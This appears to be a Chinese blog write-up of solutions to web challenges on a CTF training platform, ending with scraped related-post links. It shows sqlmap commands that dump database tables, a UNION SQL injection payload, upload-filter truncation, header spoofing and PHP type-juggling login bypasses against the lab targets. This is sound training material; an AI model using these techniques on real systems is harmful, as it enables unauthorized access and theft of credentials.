• 看起来有点难

提交admin

http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login

用sqlmap检测是否有注入

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login"

存在注入

对数据进行读取

┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dbs
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --tables -D "test"
┌─[root@sch01ar]─[/sch01ar]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/basic/inject/index.php?admin=admin&pass=admin&action=login" --dump -T "admin" -D "test"

读出账号密码

登陆,得到flag

  • 猫抓老鼠

源代码没什么情况,也没有注入,抓包查看

go一下

返回包中有一个Content-Row: MTUxMjU4MzgwNA==

把MTUxMjU4MzgwNA==替换掉pass_key的1,go

得到flag

  • 头有点大

根据提示,要用.net framework 9.9,地址来自英国,浏览器是IE

抓包改头,发包

得到flag

也通过可以设置Modify Headers

访问网页得到flag

  • 貌似有点难

我访问的ip不在列表里,查看一下源码

<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
} $GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>

当ip为1.1.1.1时能得到flag

使用火狐插件X-Forwarded-For

把ip地址改为1.1.1.1

刷新网页,得到flag

  • 这个看起来有点简单!

通过简单的判断,存在注入漏洞

直接上sqlmap

┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dbs
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --tables -D "my_db"
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --columns -T "thiskey" -D "my_db"
┌─[root@sch01ar]─[~]
└──╼ #sqlmap -u "http://ctf5.shiyanbar.com/8/index.php?id=1" --dump -C "k0y" -T "thiskey" -D "my_db"

得到flag

  • PHP大法

访问地址,会提示访问index.php.txt

访问index.php.txt,得到源码

<?php
if(eregi("hackerDJ",$_GET[id])) {
echo("<p>not allowed!</p>");
exit();
} $_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?> <br><br>
Can you authenticate to this website?

第一个if语句,对传入的参数id和字符串"hackerDJ"进行判断,如果传入的参数id的值为"hackerDJ",则输出"not allowed"

参数id的值等于url解码后的参数id的值

第二个if语句,判断传入的参数id是否为hackerDJ,如果是的话就输出flag

因为对hackerDJ的一次url编码会被浏览器转为hackerDJ,所以要进行两次的url编码

得到flag

  • what a fuck!这是什么鬼东西?

这是JsFuck加密的,直接解码就好了

直接用工具

  • 程序逻辑问题

右键查看源代码,发现一个txt

点击,得到index.php的源代码

<html>
<head>
welcome to simplexue
</head>
<body>
<?php if($_POST[user] && $_POST[pass]) {
$conn = mysql_connect("********, "*****", "********");
mysql_select_db("phpformysql") or die("Could not select database");
if ($conn->connect_error) {
die("Connection failed: " . mysql_error($conn));
}
$user = $_POST[user];
$pass = md5($_POST[pass]); //对传入的pass变量进行md5加密,并赋给变量pass $sql = "select pw from php where user='$user'";
$query = mysql_query($sql); //将查询语句的结果赋值给变量query
if (!$query) { //判断变量query是否为空
printf("Error: %s\n", mysql_error($conn));
exit();
}
$row = mysql_fetch_array($query, MYSQL_ASSOC); //将变量query的值以MYSQL_ASSOC格式赋给变量row
//echo $row["pw"]; if (($row[pw]) && (!strcasecmp($pass, $row[pw]))) { //将变量row中的pw字段和pass的值进行忽略大小写的比较
echo "<p>Logged in! Key:************** </p>";
}
else {
echo("<p>Log in failure!</p>"); } } ?>
<form method=post action=index.php>
<input type=text name=user value="Username">
<input type=password name=pass value="Password">
<input type=submit>
</form>
</body>
<a href="index.txt">
</html>

代码中没有判断变量user,只要变量row的pw字段和变量pass的值一样就能得到flag

构造payload:user=1' and 1=2 union select concat('21232f297a57a5a743894a0e4a801fc3')%23 &pass=admin

POST,得到flag

  • NSCTF web200

解密这段密文,写个php脚本

<?php
function decode($str)
{
$_ = '';
$a = str_rot13($str);
$b = strrev($a);
$c = base64_decode($b);
$d = strrev($c);
for($i=0;$i<strlen($d);$i++)
{
$_c = substr($d,$i,1);
$__ = ord($_c)-1;
$_c = chr($__);
$_ = $_.$_c;
}
return $_;
}
echo decode("a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws");
?>

运行脚本得到flag

  • 上传绕过

选择一个jpg文件上传

上传的格式要是php的才行,但是不能直接上传php

用burp抓包改包

在上传路径后加一个以php格式结尾的,再截断

发送,得到flag

  • FALSE

题目给的提示

访问链接

点击查看源代码

<?php
if (isset($_GET['name']) and isset($_GET['password'])) {
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else{
echo '<p>Login first!</p>';
?>

传入的name和password不能一样,但是name和password的sha1加密的值得相等

想到的是传数组

http://ctf5.shiyanbar.com/web/false.php?name[]=1&password[]=2

得到flag

  • Guess Next Session

猜下一个数,前面这几个数都是随机的

查看源代码

<?php
session_start();
if (isset ($_GET['password'])) {
if ($_GET['password'] == $_SESSION['password'])
die ('Flag: '.$flag);
else
print '<p>Wrong guess.</p>';
} mt_srand((microtime() ^ rand(1, 10000)) % rand(1, 10000) + rand(1, 10000));
?>

当传入的password和$_SESSION['password']相等时才能得到flag

burp抓包

需要改两处地方

这两处置空,发包,得到flag

  • Once More

题目给了提示

题目提示,该题是php代码审计题,而且还跟ereg()函数有关,ereg()函数可以%00截断

访问链接

查看源代码

<?php
if (isset ($_GET['password'])) {
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999) //password的长度要小于8,但是password的大小要大于9999999,可以使用科学计数法
{
if (strpos ($_GET['password'], '*-*') !== FALSE) //password里要有*-*才能得到flag
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>

password是一个数但是里面要有*_*,则要用到%00截断

最终构造:

http://ctf5.shiyanbar.com/web/more.php?password=1e8%00*-*

得到flag

  • 忘记密码了

随便输入一个邮箱,点击提交

弹出了一个对话框

http://ctf5.shiyanbar.com/10/upload/step2.php?email=youmail@mail.com&check=???????

访问该链接,会出现该界面,但是一晃就跳转到原本的找回密码界面

那就抓包看看

代码是用vim编辑器写的,vim编辑器

还有一个submit.php,提交发送的地方

vim编辑器有一个特点,会生成一个临时的备份文件

submit.php生成的就是.submit.php.swp,因为其为隐藏文件,所以前面会有一个点

访问地址:http://ctf5.shiyanbar.com/10/upload/.submit.php.swp

看到了一段代码

........这一行是省略的代码........

/*
如果登录邮箱地址不是管理员则 die()
数据库结构 --
-- 表的结构 `user`
-- CREATE TABLE IF NOT EXISTS `user` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`username` varchar(255) NOT NULL,
`email` varchar(255) NOT NULL,
`token` int(255) NOT NULL DEFAULT '0',
PRIMARY KEY (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8 AUTO_INCREMENT=2 ; --
-- 转存表中的数据 `user`
-- INSERT INTO `user` (`id`, `username`, `email`, `token`) VALUES
(1, '****不可见***', '***不可见***', 0);
*/ ........这一行是省略的代码........ if(!empty($token)&&!empty($emailAddress)){
if(strlen($token)!=10) die('fail'); //变量$token的长度要为10
if($token!='0') die('fail'); //变量$token的值要为0
$sql = "SELECT count(*) as num from `user` where token='$token' AND email='$emailAddress'";
$r = mysql_query($sql) or die('db error');
$r = mysql_fetch_assoc($r);
$r = $r['num'];
if($r>0){
echo $flag;
}else{
echo "失败了呀";
}
}

$token的长度要为10,大小要为0,可以设置为0000000000

邮箱还要是管理员的邮箱

在burp返回的数据包中可以看到管理员邮箱为:admin@simplexue.com

接下来构造访问链接:http://ctf5.shiyanbar.com/10/upload/submit.php?emailAddress=admin@simplexue.com&token=0000000000

访问,得到flag

  • 天网管理系统

先右键查看网页源代码

传入的username的md5值要为0

PHP在处理哈希值时,会把每一个以0E开头的哈希值都解释为0

如果两个不同的字符串的md5值都是以0E开头的,那么PHP就会认为他们是相同,都是0

常见的有QNKCDZO

在用户名框处提交QNKCDZO

返回了一个地址

访问链接:http://ctf5.shiyanbar.com/10/web1/user.php?fame=hjkleffifer

题目提示,成也布尔,败也布尔

$unserialize_str = $_POST['password'];
$data_unserialize = unserialize($unserialize_str);
if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???'){
  print_r($flag);
}

unserialize()函数将数据反序列化,serialize()函数将数据序列化

<?php
$a = array("user" => true,"pass" => true);
$b = serialize($a);
echo $b;
echo "<br>";
$c = unserialize($b);
print_r($c);
?>

运行结果

把a:2:{s:4:"user";b:1;s:4:"pass";b:1;}作为密码,用户名为admin,登陆,得到flag

  • Forms

提交一个值

报错

右键查看源码

表单的默认值为0

不填表单直接提交,burp抓包

把0改成其它数字,发包

出现了php源代码

$a = $_POST["PIN"];
if ($a == -19827747736161128312837161661727773716166727272616149001823847) {
echo "Congratulations! The flag is $flag";
} else {
echo "User with provided PIN not found.";
}

当提交的值为-19827747736161128312837161661727773716166727272616149001823847的时候就会返回flag

提交-19827747736161128312837161661727773716166727272616149001823847,得到flag

  • 拐弯抹角

一上来就来了一大段的php代码

完整的php代码

 <?php
// code by SEC@USTC echo '<html><head><meta http-equiv="charset" content="gbk"></head><body>'; $URL = $_SERVER['REQUEST_URI'];
//echo 'URL: '.$URL.'<br/>';
$flag = "CTF{???}"; $code = str_replace($flag, 'CTF{???}', file_get_contents('./index.php'));
$stop = 0; //这道题目本身也有教学的目的
//第一,我们可以构造 /indirection/a/../ /indirection/./ 等等这一类的
//所以,第一个要求就是不得出现 ./
if($flag && strpos($URL, './') !== FALSE){
$flag = "";
$stop = 1; //Pass
} //第二,我们可以构造 \ 来代替被过滤的 /
//所以,第二个要求就是不得出现 ../
if($flag && strpos($URL, '\\') !== FALSE){
$flag = "";
$stop = 2; //Pass
} //第三,有的系统大小写通用,例如 indirectioN/
//你也可以用?和#等等的字符绕过,这需要统一解决
//所以,第三个要求对可以用的字符做了限制,a-z / 和 .
$matches = array();
preg_match('/^([0-9a-z\/.]+)$/', $URL, $matches);
if($flag && empty($matches) || $matches[1] != $URL){
$flag = "";
$stop = 3; //Pass
} //第四,多个 / 也是可以的
//所以,第四个要求是不得出现 //
if($flag && strpos($URL, '//') !== FALSE){
$flag = "";
$stop = 4; //Pass
} //第五,显然加上index.php或者减去index.php都是可以的
//所以我们下一个要求就是必须包含/index.php,并且以此结尾
if($flag && substr($URL, -10) !== '/index.php'){
$flag = "";
$stop = 5; //Not Pass
} //第六,我们知道在index.php后面加.也是可以的
//所以我们禁止p后面出现.这个符号
if($flag && strpos($URL, 'p.') !== FALSE){
$flag = "";
$stop = 6; //Not Pass
} //第七,现在是最关键的时刻
//你的$URL必须与/indirection/index.php有所不同
if($flag && $URL == '/indirection/index.php'){
$flag = "";
$stop = 7; //Not Pass
}
if(!$stop) $stop = 8; echo 'Flag: '.$flag;
echo '<hr />';
for($i = 1; $i < $stop; $i++)
$code = str_replace('//Pass ';

这里有7个条件判断url是否符合条件

1.不能有./  2.不能有../  3.不能有大写字母和?和#符号  4不能有//  5.必须以index.php结尾  6.index.php后面不能出现"."这个符号  7.url要和/indirection/index.php不一样

首先访问,http://ctf5.shiyanbar.com/indirection/index.php

后面多了个/

接着访问,http://ctf5.shiyanbar.com/indirection/index.php/index.php,得到flag

  • 后台登录

右键查看源代码

有php源码

<!-- $password=$_POST['password'];
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";
$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
} -->

直接提交.php前的字符串ffifdyop,得到flag

实验吧CTF题库-WEB题(部分)的更多相关文章

  1. 实验吧ctf题库web题wp

    经历了学校的校赛,一度自闭,被大佬们刺激的要奋发图强. 1.后台登录 链接: http://ctf5.shiyanbar.com/web/houtai/ffifdyop.php 打开题目首先查看源码, ...

  2. PHP实现类似题库抽题效果

    PHP实现类似题库抽题效果 大家好,我顾某人又回来了,最近学了一点PHP,然后就想写个简单小例子试试,于是就写了一个类似于从题库抽题的东西,大概就是先输入需要抽题的数量,然后从数据库中随机抽取题目. ...

  3. 『Python题库 - 填空题』151道Python笔试填空题

    『Python题库 - 填空题』Python笔试填空题 part 1. Python语言概述和Python开发环境配置 part 2. Python语言基本语法元素(变量,基本数据类型, 基础运算) ...

  4. NOI题库刷题日志 (贪心篇题解)

    这段时间在NOI题库上刷了刷题,来写点心得和题解 一.寻找平面上的极大点 2704:寻找平面上的极大点 总时间限制:  1000ms  内存限制:  65536kB 描述 在一个平面上,如果有两个点( ...

  5. ctf学习(web题二)

    web 下面是做bugku上一些web的总结 内容链接

  6. SpringMVC云题库错题及答案汇总

    试题分析:D,BeanNameViewResolver:这个视图解析器跟XmlViewResolver基本相同,它是通过把返回的逻辑视图名称去匹配定义好的视图bean对象 @ModelAttribut ...

  7. CCF题库刷题编译错误

    最近在CCF上刷题,因为C语言更合适,就使用了devc编译器,选择C语言但是却报编译错误 后来查了一下,发现在提交时选择C++语言就能满分通过,问题得以解决.

  8. SpringMVC云题库错题及答案汇总-2

    此题目考察的是SpringMVC-注解驱动控制器,注释类型的范围: A.处理requet uri 部分的注解: @PathVariable; B.处理request header部分的注解: @Req ...

  9. OCP题库变了,2018年052新题库-29题

    29.In one of your databases: * The database default tablespace is EXAMPLE. * Deferred_segment_creati ...

随机推荐

  1. day5-shutil模块

    一.概述 我们通过python操作文件时,除正常读写操作外,有时还需要进行拷贝.删除.打包等操作,虽然os模块提供了部分功能,但还是不够完善,这里要讲讲专业的高级的文件,文件夹,压缩包处理模块shut ...

  2. c#的DateTime.Now详解

    (转自:http://www.cnblogs.com/lida/archive/2011/01/02/1924197.html) //2008年4月24日 System.DateTime.Now.To ...

  3. C++轮子队-软件需求规格说明书

    团队Github项目仓库 软件规格需求说明书 引言 编写目的 软件规格需求说明书书了“2048俄罗斯方块”1.0版本的软件功能性需求和非功能性需求. 文档约定 描述编写文档时所采用的标准或排版约定,包 ...

  4. WinForm与Javascript交互

    在应用程序的集成过程中,有时候需要WinForm应用程序和Javascript程序进行交互.比如说:应用程序是一个综合调度系统,在整个综合调度系统中,要实现定位,显示地图.综合调度平台的大部分功能都是 ...

  5. WebSocket 在烧瓶和龙卷风中的应用

    a. 安装 pip3 install gevent-websocket 作用: - 处理Http.Websocket协议的请求 -> socket - 封装Http.Websocket相关数据 ...

  6. 《Drools7.0.0.Final规则引擎教程》第4章 4.2 no-loop

    no-loop 定义当前的规则是否不允许多次循环执行,默认是 false,也就是当前的规则只要满足条件,可以无限次执行.什么情况下会出现规则被多次重复执行呢?下面看一个实例: package com. ...

  7. 《深入理解java虚拟机》学习笔记之编译优化技术

    郑重声明:本片博客是学习<深入理解Java虚拟机>一书所记录的笔记,内容基本为书中知识. Java程序员有一个共识,以编译方式执行本地代码比解释方式更快,之所以有这样的共识,除去虚拟机解释 ...

  8. Spring Boot打包总结

    环境配置信息 -** JDK 1.8 -** Spring Boot 1.5.3.RELEASE -** IDE: STS 3.4 Spring Boot下打包过程 基于STS创建Spring boo ...

  9. 【前端】CSS入门笔记

    教程 CSS 指层叠样式表 (Cascading Style Sheets) CSS 语法 CSS 规则由两个主要的部分构成:选择器,以及一条或多条声明. 选择器通常是您需要改变样式的 HTML 元素 ...

  10. static才是对代码的提升

    static才是对代码的提升 static的作用有如下三条: 1):隐藏. 当编译多个文件时,所有未加static前缀的全局变量和函数都具有全局可见性. 一个是a.c,另一个是main.c. 下面是a ...